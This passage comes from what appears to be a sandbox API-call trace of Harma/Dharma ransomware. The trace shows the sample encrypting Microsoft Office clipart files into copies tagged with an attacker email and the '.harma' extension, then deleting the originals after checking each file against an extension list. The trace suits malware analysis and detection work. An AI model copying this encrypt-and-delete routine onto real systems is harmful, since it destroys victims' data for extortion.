lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1f00, lpOverlapped=0x0) returned 1 [0158.905] ReadFile (in: hFile=0x388, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.905] WriteFile (in: hFile=0x338, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.905] SetEndOfFile (hFile=0x338) returned 1 [0158.905] CloseHandle (hObject=0x338) returned 1 [0158.905] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.905] SetEndOfFile (hFile=0x388) returned 1 [0158.908] CloseHandle (hObject=0x388) returned 1 [0158.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.922] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf")) returned 1 [0158.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0158.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0158.934] lstrlenW (lpString=".doc") returned 4 [0158.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.934] lstrlenW (lpString=".docx") returned 5 [0158.934] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.934] lstrlenW (lpString=".pdf") returned 4 [0158.934] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.934] lstrlenW (lpString=".xls") returned 4 [0158.934] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.934] lstrlenW (lpString=".xlsx") returned 5 [0158.934] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.934] lstrlenW (lpString=".ppt") returned 4 [0158.934] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0158.934] lstrlenW (lpString=".zip") returned 4 [0158.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.935] lstrlenW (lpString=".rar") returned 4 [0158.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.935] lstrlenW (lpString=".bz2") returned 4 [0158.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.935] lstrlenW (lpString=".7z") returned 3 [0158.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0158.935] lstrlenW (lpString=".dbf") returned 4 [0158.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0158.935] lstrlenW (lpString=".1cd") returned 4 [0158.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0158.935] lstrlenW (lpString=".jpg") returned 4 [0158.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0158.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0158.935] lstrlenW (lpString=".doc") returned 4 [0158.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.935] lstrlenW (lpString=".docx") returned 5 [0158.935] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.935] lstrlenW (lpString=".pdf") returned 4 [0158.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.935] lstrlenW (lpString=".xls") returned 4 [0158.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.935] lstrlenW (lpString=".xlsx") returned 5 [0158.935] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.936] lstrlenW (lpString=".ppt") returned 4 [0158.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0158.936] lstrlenW (lpString=".zip") returned 4 [0158.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.936] lstrlenW (lpString=".rar") returned 4 [0158.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.936] lstrlenW (lpString=".bz2") returned 4 [0158.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.936] lstrlenW (lpString=".7z") returned 3 [0158.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0158.936] lstrlenW (lpString=".dbf") returned 4 [0158.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0158.936] lstrlenW (lpString=".1cd") returned 4 [0158.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0158.936] lstrlenW (lpString=".jpg") returned 4 [0158.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.936] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0158.936] lstrlenW (lpString="HM00005_.WMF") returned 12 [0158.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0158.979] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=23300) returned 1 [0158.979] CloseHandle (hObject=0x334) returned 1 [0158.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf")) returned 0x20 [0159.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0159.080] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.088] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.089] GetLastError () returned 0x0 [0159.089] ReadFile (in: hFile=0x350, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x5b04, lpOverlapped=0x0) returned 1 [0159.120] WriteFile (in: hFile=0x348, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x5b10, lpOverlapped=0x0) returned 1 [0159.121] ReadFile (in: hFile=0x350, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.121] WriteFile (in: hFile=0x348, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.121] SetEndOfFile (hFile=0x348) returned 1 [0159.121] CloseHandle (hObject=0x348) returned 1 [0159.121] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.121] SetEndOfFile (hFile=0x350) returned 1 [0159.124] CloseHandle (hObject=0x350) returned 1 [0159.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.125] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf")) returned 1 [0159.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0159.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0159.125] lstrlenW (lpString=".doc") returned 4 [0159.125] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.125] lstrlenW (lpString=".docx") returned 5 [0159.125] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.125] lstrlenW (lpString=".pdf") returned 4 [0159.125] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.125] lstrlenW (lpString=".xls") returned 4 [0159.126] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.126] lstrlenW (lpString=".xlsx") returned 5 [0159.126] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.126] lstrlenW (lpString=".ppt") returned 4 [0159.126] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0159.126] lstrlenW (lpString=".zip") returned 4 [0159.126] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.126] lstrlenW (lpString=".rar") returned 4 [0159.126] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.126] lstrlenW (lpString=".bz2") returned 4 [0159.126] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.126] lstrlenW (lpString=".7z") returned 3 [0159.126] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0159.126] lstrlenW (lpString=".dbf") returned 4 [0159.126] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0159.126] lstrlenW (lpString=".1cd") returned 4 [0159.126] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0159.126] lstrlenW (lpString=".jpg") returned 4 [0159.126] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0159.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0159.126] lstrlenW (lpString=".doc") returned 4 [0159.126] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.126] lstrlenW (lpString=".docx") returned 5 [0159.126] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.126] lstrlenW (lpString=".pdf") returned 4 [0159.126] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.127] lstrlenW (lpString=".xls") returned 4 [0159.127] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.127] lstrlenW (lpString=".xlsx") returned 5 [0159.127] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.127] lstrlenW (lpString=".ppt") returned 4 [0159.127] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0159.127] lstrlenW (lpString=".zip") returned 4 [0159.127] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.127] lstrlenW (lpString=".rar") returned 4 [0159.127] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.127] lstrlenW (lpString=".bz2") returned 4 [0159.127] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.127] lstrlenW (lpString=".7z") returned 3 [0159.127] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0159.127] lstrlenW (lpString=".dbf") returned 4 [0159.127] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0159.127] lstrlenW (lpString=".1cd") returned 4 [0159.127] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0159.127] lstrlenW (lpString=".jpg") returned 4 [0159.127] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.127] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0159.127] lstrlenW (lpString="IN00557_.WMF") returned 12 [0159.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0159.128] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=9172) returned 1 [0159.128] CloseHandle (hObject=0x350) returned 1 [0159.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf")) returned 0x20 [0159.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0159.129] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.129] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.130] GetLastError () returned 0x0 [0159.130] ReadFile (in: hFile=0x350, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x23d4, lpOverlapped=0x0) returned 1 [0159.491] WriteFile (in: hFile=0x348, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x23e0, lpOverlapped=0x0) returned 1 [0159.492] ReadFile (in: hFile=0x350, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.492] WriteFile (in: hFile=0x348, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.492] SetEndOfFile (hFile=0x348) returned 1 [0159.492] CloseHandle (hObject=0x348) returned 1 [0159.492] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.492] SetEndOfFile (hFile=0x350) returned 1 [0159.495] CloseHandle (hObject=0x350) returned 1 [0159.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.582] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf")) returned 1 [0159.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0159.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0159.583] lstrlenW (lpString=".doc") returned 4 [0159.583] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.583] lstrlenW (lpString=".docx") returned 5 [0159.583] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.583] lstrlenW (lpString=".pdf") returned 4 [0159.583] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.583] lstrlenW (lpString=".xls") returned 4 [0159.583] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.583] lstrlenW (lpString=".xlsx") returned 5 [0159.583] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.583] lstrlenW (lpString=".ppt") returned 4 [0159.583] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0159.583] lstrlenW (lpString=".zip") returned 4 [0159.583] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.583] lstrlenW (lpString=".rar") returned 4 [0159.583] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.583] lstrlenW (lpString=".bz2") returned 4 [0159.583] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.583] lstrlenW (lpString=".7z") returned 3 [0159.583] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0159.583] lstrlenW (lpString=".dbf") returned 4 [0159.583] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0159.584] lstrlenW (lpString=".1cd") returned 4 [0159.584] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0159.584] lstrlenW (lpString=".jpg") returned 4 [0159.584] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0159.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0159.584] lstrlenW (lpString=".doc") returned 4 [0159.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.584] lstrlenW (lpString=".docx") returned 5 [0159.584] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.584] lstrlenW (lpString=".pdf") returned 4 [0159.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.584] lstrlenW (lpString=".xls") returned 4 [0159.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.584] lstrlenW (lpString=".xlsx") returned 5 [0159.584] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.584] lstrlenW (lpString=".ppt") returned 4 [0159.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0159.584] lstrlenW (lpString=".zip") returned 4 [0159.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.584] lstrlenW (lpString=".rar") returned 4 [0159.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.584] lstrlenW (lpString=".bz2") returned 4 [0159.584] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.584] lstrlenW (lpString=".7z") returned 3 [0159.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0159.584] lstrlenW (lpString=".dbf") returned 4 [0159.584] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0159.585] lstrlenW (lpString=".1cd") returned 4 [0159.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0159.585] lstrlenW (lpString=".jpg") returned 4 [0159.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.585] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0159.585] lstrlenW (lpString="J0075478.GIF") returned 12 [0159.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0159.663] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1220) returned 1 [0159.663] CloseHandle (hObject=0x20c) returned 1 [0159.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif")) returned 0x20 [0159.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0159.664] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.664] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0159.664] GetLastError () returned 0x0 [0159.664] ReadFile (in: hFile=0x20c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x4c4, lpOverlapped=0x0) returned 1 [0159.689] WriteFile (in: hFile=0x368, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0159.690] ReadFile (in: hFile=0x20c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.690] WriteFile (in: hFile=0x368, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.690] SetEndOfFile (hFile=0x368) returned 1 [0159.690] CloseHandle (hObject=0x368) returned 1 